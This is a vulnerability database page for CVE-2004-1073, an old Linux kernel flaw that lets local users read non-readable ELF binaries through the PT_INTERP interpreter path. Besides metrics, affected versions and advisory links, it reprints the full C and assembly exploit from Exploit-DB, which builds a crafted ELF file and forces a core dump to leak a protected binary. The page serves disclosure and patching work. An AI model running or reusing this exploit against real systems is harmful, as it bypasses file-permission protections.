CVE-2004-1073 : Detail

CVE-2004-1073

0.04%V3
Local
2004-12-01
04h00 +00:00
2017-10-09
22h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The open_exec function in the execve functionality (exec.c) in Linux kernel 2.4.x up to 2.4.27, and 2.6.x up to 2.6.8, allows local users to read non-readable ELF binaries by using the interpreter (PT_INTERP) functionality.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 624

Publication date : 2004-11-09 23h00 +00:00
Author : Paul Starzetz
EDB Verified : Yes

/* * * binfmt_elf executable file read vulnerability * * gcc -O3 -fomit-frame-pointer elfdump.c -o elfdump * * Copyright (c) 2004 iSEC Security Research. All Rights Reserved. * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/types.h> #include <sys/resource.h> #include <sys/wait.h> #include <linux/elf.h> #define BADNAME "/tmp/_elf_dump" void usage(char *s) { printf("\nUsage: %s executable\n\n", s); exit(0); } // ugly mem scan code :-) static volatile void bad_code(void) { __asm__( // "1: jmp 1b \n" " xorl %edi, %edi \n" " movl %esp, %esi \n" " xorl %edx, %edx \n" " xorl %ebp, %ebp \n" " call get_addr \n" " movl %esi, %esp \n" " movl %edi, %ebp \n" " jmp inst_sig \n" "get_addr: popl %ecx \n" // sighand "inst_sig: xorl %eax, %eax \n" " movl $11, %ebx \n" " movb $48, %al \n" " int $0x80 \n" "ld_page: movl %ebp, %eax \n" " subl %edx, %eax \n" " cmpl $0x1000, %eax \n" " jle ld_page2 \n" // mprotect " pusha \n" " movl %edx, %ebx \n" " addl $0x1000, %ebx \n" " movl %eax, %ecx \n" " xorl %eax, %eax \n" " movb $125, %al \n" " movl $7, %edx \n" " int $0x80 \n" " popa \n" "ld_page2: addl $0x1000, %edi \n" " cmpl $0xc0000000, %edi \n" " je dump \n" " movl %ebp, %edx \n" " movl (%edi), %eax \n" " jmp ld_page \n" "dump: xorl %eax, %eax \n" " xorl %ecx, %ecx \n" " movl $11, %ebx \n" " movb $48, %al \n" " int $0x80 \n" " movl $0xdeadbeef, %eax \n" " jmp *(%eax) \n" ); } static volatile void bad_code_end(void) { } int main(int ac, char **av) { struct elfhdr eh; struct elf_phdr eph; struct rlimit rl; int fd, nl, pid; if(ac<2) usage(av[0]); // make bad a.out fd=open(BADNAME, O_RDWR|O_CREAT|O_TRUNC, 0755); nl = strlen(av[1])+1; memset(&eh, 0, sizeof(eh) ); // elf exec header memcpy(eh.e_ident, ELFMAG, SELFMAG); eh.e_type = ET_EXEC; eh.e_machine = EM_386; eh.e_phentsize = sizeof(struct elf_phdr); eh.e_phnum = 2; eh.e_phoff = sizeof(eh); write(fd, &eh, sizeof(eh) ); // section header(s) memset(&eph, 0, sizeof(eph) ); eph.p_type = PT_INTERP; eph.p_offset = sizeof(eh) + 2*sizeof(eph); eph.p_filesz = nl; write(fd, &eph, sizeof(eph) ); memset(&eph, 0, sizeof(eph) ); eph.p_type = PT_LOAD; eph.p_offset = 4096; eph.p_filesz = 4096; eph.p_vaddr = 0x0000; eph.p_flags = PF_R|PF_X; write(fd, &eph, sizeof(eph) ); // .interp write(fd, av[1], nl ); // execable code nl = &bad_code_end - &bad_code; lseek(fd, 4096, SEEK_SET); write(fd, &bad_code, 4096); close(fd); // dump the shit rl.rlim_cur = RLIM_INFINITY; rl.rlim_max = RLIM_INFINITY; if( setrlimit(RLIMIT_CORE, &rl) ) perror("\nsetrlimit failed"); fflush(stdout); pid = fork(); if(pid) wait(NULL); else execl(BADNAME, BADNAME, NULL); printf("\ncore dumped!\n\n"); unlink(BADNAME); return 0; } // milw0rm.com [2004-11-10]

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.1

Linux>>Linux_kernel >> Version 2.4.2

Linux>>Linux_kernel >> Version 2.4.3

Linux>>Linux_kernel >> Version 2.4.4

Linux>>Linux_kernel >> Version 2.4.5

Linux>>Linux_kernel >> Version 2.4.6

Linux>>Linux_kernel >> Version 2.4.7

Linux>>Linux_kernel >> Version 2.4.8

Linux>>Linux_kernel >> Version 2.4.9

Linux>>Linux_kernel >> Version 2.4.10

Linux>>Linux_kernel >> Version 2.4.11

Linux>>Linux_kernel >> Version 2.4.12

Linux>>Linux_kernel >> Version 2.4.13

Linux>>Linux_kernel >> Version 2.4.14

Linux>>Linux_kernel >> Version 2.4.15

Linux>>Linux_kernel >> Version 2.4.16

Linux>>Linux_kernel >> Version 2.4.17

Linux>>Linux_kernel >> Version 2.4.18

Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.19

    Linux>>Linux_kernel >> Version 2.4.19

    Linux>>Linux_kernel >> Version 2.4.19

    Linux>>Linux_kernel >> Version 2.4.19

    Linux>>Linux_kernel >> Version 2.4.19

    Linux>>Linux_kernel >> Version 2.4.19

    Linux>>Linux_kernel >> Version 2.4.19

    Linux>>Linux_kernel >> Version 2.4.20

    Linux>>Linux_kernel >> Version 2.4.21

    Linux>>Linux_kernel >> Version 2.4.21

    Linux>>Linux_kernel >> Version 2.4.21

    Linux>>Linux_kernel >> Version 2.4.21

    Linux>>Linux_kernel >> Version 2.4.22

    Linux>>Linux_kernel >> Version 2.4.23

    Linux>>Linux_kernel >> Version 2.4.23

    Linux>>Linux_kernel >> Version 2.4.23_ow2

      Linux>>Linux_kernel >> Version 2.4.24

      Linux>>Linux_kernel >> Version 2.4.24_ow1

        Linux>>Linux_kernel >> Version 2.4.25

        Linux>>Linux_kernel >> Version 2.4.26

        Linux>>Linux_kernel >> Version 2.4.27

        Linux>>Linux_kernel >> Version 2.4.27

        Linux>>Linux_kernel >> Version 2.4.27

        Linux>>Linux_kernel >> Version 2.4.27

        Linux>>Linux_kernel >> Version 2.4.27

        Linux>>Linux_kernel >> Version 2.4.27

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.1

        Linux>>Linux_kernel >> Version 2.6.1

        Linux>>Linux_kernel >> Version 2.6.1

        Linux>>Linux_kernel >> Version 2.6.2

        Linux>>Linux_kernel >> Version 2.6.3

        Linux>>Linux_kernel >> Version 2.6.4

        Linux>>Linux_kernel >> Version 2.6.5

        Linux>>Linux_kernel >> Version 2.6.6

        Linux>>Linux_kernel >> Version 2.6.6

        Linux>>Linux_kernel >> Version 2.6.7

        Linux>>Linux_kernel >> Version 2.6.7

        Linux>>Linux_kernel >> Version 2.6.8

        Linux>>Linux_kernel >> Version 2.6.8

        Linux>>Linux_kernel >> Version 2.6.8

        Linux>>Linux_kernel >> Version 2.6.8

        Linux>>Linux_kernel >> Version 2.6.9

          Linux>>Linux_kernel >> Version 2.6_test9_cvs

            Redhat>>Enterprise_linux >> Version 2.1

              Redhat>>Enterprise_linux >> Version 2.1

                Redhat>>Enterprise_linux >> Version 2.1

                  Redhat>>Enterprise_linux >> Version 2.1

                    Redhat>>Enterprise_linux >> Version 2.1

                      Redhat>>Enterprise_linux >> Version 2.1

                        Redhat>>Enterprise_linux >> Version 3.0

                        Redhat>>Enterprise_linux >> Version 3.0

                        Redhat>>Enterprise_linux >> Version 3.0

                        Redhat>>Enterprise_linux_desktop >> Version 3.0

                        Redhat>>Fedora_core >> Version core_2.0

                          Redhat>>Fedora_core >> Version core_3.0

                            Redhat>>Linux_advanced_workstation >> Version 2.1

                              Redhat>>Linux_advanced_workstation >> Version 2.1

                                Suse>>Suse_linux >> Version 1.0

                                  Suse>>Suse_linux >> Version 8

                                    Suse>>Suse_linux >> Version 8.1

                                    Suse>>Suse_linux >> Version 8.2

                                    Suse>>Suse_linux >> Version 9.0

                                    Suse>>Suse_linux >> Version 9.0

                                    Suse>>Suse_linux >> Version 9.0

                                      Suse>>Suse_linux >> Version 9.1

                                      Suse>>Suse_linux >> Version 9.2

                                      Trustix>>Secure_linux >> Version 1.5

                                      Trustix>>Secure_linux >> Version 2.0

                                      Trustix>>Secure_linux >> Version 2.1

                                      Trustix>>Secure_linux >> Version 2.2

                                      Turbolinux>>Turbolinux_server >> Version 10.0

                                        References

                                        http://secunia.com/advisories/20163
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://secunia.com/advisories/18684
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://www.debian.org/security/2006/dsa-1082
                                        Tags : vendor-advisory, x_refsource_DEBIAN
                                        http://www.mandriva.com/security/advisories?name=MDKSA-2005:022
                                        Tags : vendor-advisory, x_refsource_MANDRAKE
                                        https://bugzilla.fedora.us/show_bug.cgi?id=2336
                                        Tags : vendor-advisory, x_refsource_FEDORA
                                        http://www.debian.org/security/2006/dsa-1070
                                        Tags : vendor-advisory, x_refsource_DEBIAN
                                        http://secunia.com/advisories/20162
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://www.redhat.com/support/errata/RHSA-2006-0190.html
                                        Tags : vendor-advisory, x_refsource_REDHAT
                                        http://www.redhat.com/support/errata/RHSA-2004-549.html
                                        Tags : vendor-advisory, x_refsource_REDHAT
                                        http://www.debian.org/security/2006/dsa-1067
                                        Tags : vendor-advisory, x_refsource_DEBIAN
                                        http://www.securityfocus.com/bid/11646
                                        Tags : vdb-entry, x_refsource_BID
                                        http://www.debian.org/security/2006/dsa-1069
                                        Tags : vendor-advisory, x_refsource_DEBIAN
                                        http://www.redhat.com/support/errata/RHSA-2005-293.html
                                        Tags : vendor-advisory, x_refsource_REDHAT
                                        http://www.redhat.com/support/errata/RHSA-2004-505.html
                                        Tags : vendor-advisory, x_refsource_REDHAT
                                        http://secunia.com/advisories/20202
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://www.redhat.com/support/errata/RHSA-2004-504.html
                                        Tags : vendor-advisory, x_refsource_REDHAT
                                        http://www.redhat.com/support/errata/RHSA-2006-0191.html
                                        Tags : vendor-advisory, x_refsource_REDHAT
                                        http://secunia.com/advisories/20338
                                        Tags : third-party-advisory, x_refsource_SECUNIA